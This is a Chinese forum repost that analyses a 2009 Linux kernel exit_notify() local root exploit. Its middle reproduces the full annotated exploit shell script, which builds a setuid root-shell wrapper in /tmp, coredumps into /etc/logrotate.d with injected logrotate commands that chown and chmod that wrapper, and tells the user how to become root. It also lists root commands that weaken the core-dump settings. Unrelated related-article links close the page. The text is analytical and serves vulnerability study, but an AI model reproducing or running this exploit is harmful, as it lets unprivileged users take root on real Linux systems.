[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)
author : deep_pro
目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的
(http://forum.eviloctal.com/viewthread.php?tid=34942&pid=154634&page=1&extra=page%3D1#pid154634)
感谢乱雪给我提供了思路,解释了疑问
有问题的内核代码( http://lxr.linux.no/linux+v2.6.29/kernel/exit.c#L951)
if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
(tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
tsk->self_exec_id != tsk->parent_exec_id) &&
!capable(CAP_KILL))
tsk->exit_signal = SIGCHLD;
查看官方的补丁,就是把 capable(CAP_KILL)直接去掉了。
这个函数是判断当前要退出的进程是否有CAP_KILL权能(否能向不属于自己的进程发送信号)。
虽然这个要退出的进程是普通用户创建的,它也可以通过调用一个置有suidroot位的程序,从而临时设置euid=0,fsuid=0,就逃过了检查, capable(CAP_KILL)返回1,从而导致没有将该进程的task_struct的exit_signal置为SIGCHLD。
这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。
exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses_pid为1时,生成的core文件后缀是pid,所以测试exploit前应该首先使用root用户执行
echo "0" > /proc/sys/kernel/core_uses_pid
/sbin/sysctl -w fs.suid_dumpable=1
这两条命令然后就可以在/etc/logrotate.d/下得到core文件了。
exploit注释:
-------------------
#!/bin/sh
#检查/proc/sys/fs/suid_dumpable是否小于1,不小于1就不允许调用了setuid(0)的程序生成core文件
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
#检查是否安装有logrotate服务
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi
echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>
int main()
{
//setuid(0)用来恢复被置了suidroot位的程序的root权限,写shellcode时很常见的用法。
setuid(0);
//返回一个root级的shell
execl("/bin/bash","[kthreadd]",NULL);
}
EOF
#编译/tmp/.m.c
cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c
echo -e "Compiling the exploit code..."
cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
int child(void *data)
{
sleep(2);
printf("I'm gonna kill the suidroot father without having root rights :D\n");
//gpasswd被置有suidroot位,这样退出时就逃过了capable(CAP_KILL)检查
execl("/usr/bin/gpasswd","%s",NULL);
exit(0);
}
int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir("/etc/logrotate.d");
//创建子进程
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
//chfn也被置有suidroot位,但是后面那个长长的字符串不是给chfn的,而是给logrotate准备的
//后面我会详细说明,毕竟这两条语句才是关键
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF
cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c
echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
//将/tmp/.ex的输出重定向,测试的话直接写/tmp/.ex就可以了
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex
//是否生成了core文件
if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi
echo "The system is not vulnerable, sorry :("----------------------------------------
好了,再把关键地方重点说说,如有错误,还请见谅,已是我目前的最高水平了
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
创建的子进程会逃过CAP_KILL检查,但是只靠这一点错误不足以产生一个段错误从而得到core文件
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;
chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
chfn也被置有suidroot位,这里父进程也拥有了suidroot权限,等待用户输入密码,然后子进程不正常退出,
然后父进程就产生了一个段错误,两个进程都挂掉了。产生的core文件落在本来没有写权限的 /etc/logrotate.d/
文件夹下。我们来看看这个core文件:
很明显,那个传给chfn的奇怪参数其实是要写入core里的,随便打开/etc/logrotate.d/下的一个文件yum:
/var/log/yum.log {
missingok
notifempty
size 30k
create 0600 root root
}
这个奇怪参数就是为logrotate准备的,希望logrotate执行
chown root /tmp/.m;
chmod u+s /tmp/.m
且不说logrotate是否会从二进制core里执行这一段文本,就是SELinux也会阻止这一行为。
所以这个exploit几乎没有实战价值,这个洞虽然影响范围很广,但是危害不大。
我一直没有理解产生段错误的详细原因,还望高人指点。
[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)的更多相关文章
- Linux kernel perf_swevent_init Local root Exploit
64位上编译 另外修改了原Exploit的一个错误 第76行 把 uint64_t *p = (void *) ¤t[i]; 改成 uint64_t *p = (void *) & ...
- linux kernel 卡在提示信息Waiting for root device /dev/mmcblk0p1...处
一.背景 1.1 移植linux-4.14内核的过程中,此时使用的是ext4文件系统,并且将根文件系统存储在sd卡的第一个分区上 1.2 内核打印完Waiting for root device /d ...
- Linux kernel workqueue机制分析
Linux kernel workqueue机制分析 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.10.108的workqueue文档分析其基 ...
- Linux kernel workqueue机制分析【转】
转自:http://www.linuxsir.org/linuxjcjs/15346.html 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.1 ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- Linux Kernel 排程機制介紹
http://loda.hala01.com/2011/12/linux-kernel-%E6%8E%92%E7%A8%8B%E6%A9%9F%E5%88%B6%E4%BB%8B%E7%B4%B9/ ...
随机推荐
- div中的div上下居中
方法1: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 .parent { width:800px; height:500px; ...
- ELK-7.3安装部署
原文 ELK-7.3安装部署 前沿 1.什么是ELK? ELK是由Elasticsearch.Logstash.Kibana 三个开源软件的组成的一个组合体 不懂自行查阅 https://www.el ...
- Java面试宝典(6)混合(前端 + 数据库)
包括html & JavaScript & Ajax部分/Java web部分/数据库部分 三. html&JavaScript&ajax部分 1. 判断第二个日期比第 ...
- C#编程--第二天
一.变量:变量先声明,后赋值,再使用. 语法:变量类型 变量名=值: 变量类型: 分为基本数据类型和引用类 基本数据类型:整型.浮点型.字符型.布尔型 引用类:字符串.日期时间.枚举类型.结构类型 i ...
- ES6新增语法和内置对象(let,const, Array/String/Set 扩展方法(解构赋值,箭头函数,剩余参数))
1.let ES6中新增的用于声明变量的关键字. let 声明的变量只在所处于的块级有效. 注意:使用 let 关键字声明的变量才具有块级作用域,var 关键字是不具备这个特点的. 1. 防止循环变量 ...
- 五、通过密码访问API
通过密码访问API 一.客户端 图: 客户端请求代码: static void Main(string[] args) { Console.WriteLine("确定三个项目都已经启动&qu ...
- 【Java程序】tesseract_orc java上的一种实现方法
今天想着把以前做过的一个Android的文字检测识别应用好好的回顾一下,因为以前写java程序,目的就是能用就行,不会仔细看每一个部分代码,也不会记他们的用法,不回会去查API,借鉴别人的例程,用过就 ...
- webpack (1)
node_modules/.bin/webpack 用webpack 打包 因为我们没有全局安装webpack 所以要用到这条命令 创建html npm install --save-dev html ...
- typedef 复杂函数指针
下面是三个变量的声明,我想使用typedef分别给它们定义一个别名,请问该如何做? >1:int *(*a[5])(int, char*); >2:void (*b[10]) (void ...
- Flink(一)集群配置
三台主机 centos6 已经完成的工作: 防火墙已关闭 主机名修改完毕,ssh免密登陆配置完成 jdk已安装 zookeeper已经部署并运行 hadoop已经部署并运行 版本:flink-1.8. ...